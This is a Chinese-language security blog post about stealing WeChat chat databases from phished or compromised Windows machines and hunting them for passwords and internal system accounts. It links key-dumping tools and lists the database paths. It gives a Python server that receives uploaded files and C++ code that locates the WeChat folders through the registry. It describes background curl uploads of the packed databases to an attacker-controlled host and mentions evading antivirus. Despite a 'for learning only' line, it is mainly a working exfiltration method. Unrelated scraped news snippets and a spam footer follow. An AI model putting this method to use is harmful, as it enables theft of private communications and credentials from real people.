<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    微信聊天記錄之自動化回傳

    VSole2022-11-04 09:28:31

    場景

    釣魚攻擊(通過釣魚/微信控到的機器通常都是登錄狀態)

    滲透到運維機器(有些運維機器會日常登錄自己的微信)

    實戰中釣魚時常在微信聊天記錄中找到目標內網系統賬號、機器賬號密碼,盡可能的不觸發大量掃描告警下在內網中精準打到跳板機,文章僅供學習使用。

    手動

    1、獲取微信數據庫密鑰,回傳DBpass.bin,項目地址。

    https://github.com/Ormicron/Sharp-dumpkey
    

    2、下載目標聊天數據庫文件,默認保存目錄在以下目錄,超出240MB會自動生成MSG1.db,以此類推。

     c:\User\xxxx\Documents\Wechat Files\ wxid_xxxxx\Msg\Multi
    wxid_xxxxxxxx\Msg\Multi\MSG0.db > 聊天記錄wxid_xxxxxxxx\Msg\Multi\MSG1.db > 聊天記錄wxid_xxxxxxxx\Msg\Multi\MSG2.db > 聊天記錄wxid_xxxxxxxx\Msg\MicroMsg.db > Contact字段 > 好友列表wxid_xxxxxxxx\Msg\MediaMsg.db > 語音 > 格式為silk
    

    3.將上面三個文件回傳到同目錄,配合ChatViewTool打開解密即可查看,在搜索處“administrator” “root” “密碼” “ip等”,項目地址。

    https://github.com/Ormicron/chatViewTool
    

    自動化

    看網上用的是根據注冊表獲取微信默認位置,其中需要微信id,通過基址和偏移可以得到,如果上線權限較低無法操作注冊表或殺軟hook就很尷尬了

    這里用FindFirstFile遍歷全盤指定文件后綴,如MSG0.db,MicroMsg.db文件壓縮打包并通過curl后臺運行上傳到服務器。(curl.exe win10默認自帶,可以上傳一個或者引用C++第三方庫),項目地址。

    https://github.com/c1y2m3/FileSearch
    

    服務端接收文件

    使用curl將打包壓縮的文件上傳Put到文件服務器,example:python http_server.py 8 /opt/rh

    參考鏈接:

    https://floatingoctothorpe.uk/2017/receiving-files-over-http-with-python.html
    #!/usr/bin/env python
    """Extend Python's built in HTTP server to save files"""import osimport loggingimport systry:    import http.server as serverexcept ImportError:    # Handle Python 2.x    import SimpleHTTPServer as server
    log_path = 'run_server_logs.log'logging.basicConfig(level=logging.INFO,format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',datefmt='%a, %d %b %Y %H:%M:%S',filename=log_path)class HTTPRequestHandler(server.SimpleHTTPRequestHandler):
        def do_GET(self):        self.send_response(404)        self.wfile.write("404 Not Found")
        """Extend SimpleHTTPRequestHandler to handle PUT requests"""    def do_PUT(self):        """Save a file following a HTTP PUT request"""        filename = os.path.basename(self.path)
            # Don't overwrite files        if os.path.exists(filename):            self.send_response(409, 'Conflict')            self.end_headers()            reply_body = '"%s" already exists\n' % filename            self.wfile.write(reply_body.encode('utf-8'))            return
            file_length = int(self.headers['Content-Length'])        output_file = 'tmp.txt'        with open(filename, 'wb') as output_file:            output_file.write(self.rfile.read(file_length))        self.send_response(201, 'Created')        self.end_headers()        reply_body = 'Saved "%s"\n' % filename        logging.info(self.headers)        self.wfile.write(reply_body.encode('utf-8'))
    if __name__ == '__main__':    if sys.argv[2:]:        os.chdir(sys.argv[2])    server.test(HandlerClass=HTTPRequestHandler)
    

    最終效果

    FileSearchPlus.exe default xxx.xxx.xxx.xxx
    

    改進

    注:實戰中發現全盤查找微信db在c2中非常拉跨,查找等待時間較長,且盤符越多越慢

    1、直接讀取注冊表的鍵值,wxid關鍵字匹配拼接路徑(碰到用戶自設的路徑,需要加個指定路徑去)

    void getPath(char *dbpath){  char cmd_command[256] = { 0 };  char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";  HKEY hKey;  DWORD dwType = REG_BINARY;  REGSAM mode = KEY_READ;  DWORD length = 256;  int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey);
      ret = RegQueryValueEx(hKey, "Personal", 0, &dwType, (LPBYTE)dbpath, &length);  strcat(dbpath, "\\WeChat Files");  //cout << dbpath << endl;
      if (ret == 0) {    RegCloseKey(hKey);  }  else {    printf("failed to open regedit.%d\n", ret);  }}
    void getFileNames(string path, vector<string>& files){  intptr_t hFile = 0;  //文件信息  struct _finddata_t fileinfo;  string p;  string::size_type idx;
      if ((hFile = _findfirst(p.assign(path).append("\\*").c_str(), &fileinfo)) != -1)  {    do    {      //如果是目錄,匹配文件夾      if ((fileinfo.attrib & _A_SUBDIR))      {        if (strstr(fileinfo.name, "wxid") != NULL)          files.push_back(p.assign(path).append("\\").append(fileinfo.name));      }
        } while (_findnext(hFile, &fileinfo) == 0);    _findclose(hFile);  }}
    

    2、傳輸改成socket協議,支持大文件上傳,效率很快,需要啟動個Server socket


    3、遠程拉取基址,考慮到免殺性改成了C++代碼,參考。

    https://github.com/Ormicron/Sharp-dumpkey
    

    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    場景釣魚攻擊滲透到運維機器實戰中釣魚時常在聊天記錄中找到目標內網系統賬號、機器賬號密碼,盡可能的不觸發大量掃描告警下在內網中精準打到跳板機,文章僅供學習使用。手動1、獲取數據庫密鑰,回傳DBpass.bin,項目地址。
    近日,北京互聯網法院作出首例涉及算法風控系統引發人身權益侵權糾紛的生效判決。經審理,法院認定被告某征婚交友平臺運營者實施算法進行風控盡到了合理注意義務并采取預防措施,并無主觀過錯,不構成侵權,駁回了原告李某的訴訟請求。因此在隱私政策中,平臺應以清晰易懂的語言,向用戶真實、完整地披露其個人信息可能被用于算法風控,確保用戶在充分知情的前提下自愿、明確作出同意。
    受人指使非法破解知名醫院掛號軟件并出售,男子陳某因涉嫌提供侵入計算機信息系統程序罪被公訴至法院。近日,海淀法院開庭審理了此案。
    受人指使非法破解知名醫院掛號軟件并出售,男子陳某因涉嫌提供侵入計算機信息系統程序罪被公訴至法院。被告人陳某于2021年5月13日被公安機關抓獲,后如實供述了上述犯罪事實。同時,被告人陳某能夠如實供述,自愿認罪認罰,綜上考慮,建議法院判處其十個月有期徒刑,并處罰金。被告人陳某對檢方指控的事實及罪名未提出異議,并表示其起初未認識到所做軟件屬于破壞性程序,后及時停止作案,真誠悔罪。
    針對網絡謠言這一頑瘴痼疾,中央網辦舉報中心主辦的中國互聯網聯合辟謠平臺主動回應關切,快速權威辟謠,全年共受理網民謠言舉報信息1.48萬條,匯集謠言樣本和辟謠數據7640條,匯集各類辟謠稿件1.82萬余篇,推出230期《今日辟謠榜》、12期《打擊網絡謠言 共建清朗家園 中國互聯網聯合辟謠平臺月度辟謠榜》及12期“科學流言榜”,策劃發布“2023年新能源汽車行業辟謠榜”“2023年度上半年涉經濟金融
    人格權是民事主體所固有而由《中華人民共和國民法典》(以下簡稱《民法典》) 直接賦予民事主體所享有的各種人身權利,根據《民法典》第九百九十條“人格權定義”表述:“人格權是民事主體享有的生命權、身體權、健康權、...
    近日,最高人民檢察院發布5件依法懲治侵犯公民個人信息犯罪典型案例。信息數量、違法所得數額是侵犯公民個人信息罪定罪量刑的重要依據。2019年至今年10月,全國檢察機關共批準逮捕涉嫌侵犯公民個人信息犯罪嫌疑人1.3萬余人,提起公訴2.8萬余人。經釋法說理,解某某、辛某某等人均自愿認罪認罰。2020年6月24日,昌平區人民檢察院以解某某、辛某某等人涉嫌侵犯公民個人信息罪提起公訴。庭審中,被告人對指控的事實與罪名均無異議。
    當我們在手機上輸入密碼時,很容易泄露隱私信息,所以現在我們使用部分手機銀行、金融App時會發現,在支付場景輸
    堪稱吃存儲的大戶。我們幾乎每天都在使用,使用的時間越長,信息積累的也越多,聊天記錄和朋友圈中的圖片、
    0x00 來了最近弄了一些亂七八糟的東西,突然發現很久沒有更新文章了,正好HVV臨近,象征性更新一下,畢竟半年才更一次,屬實太過分了。請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良后果與文章作者和本公眾號無關。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类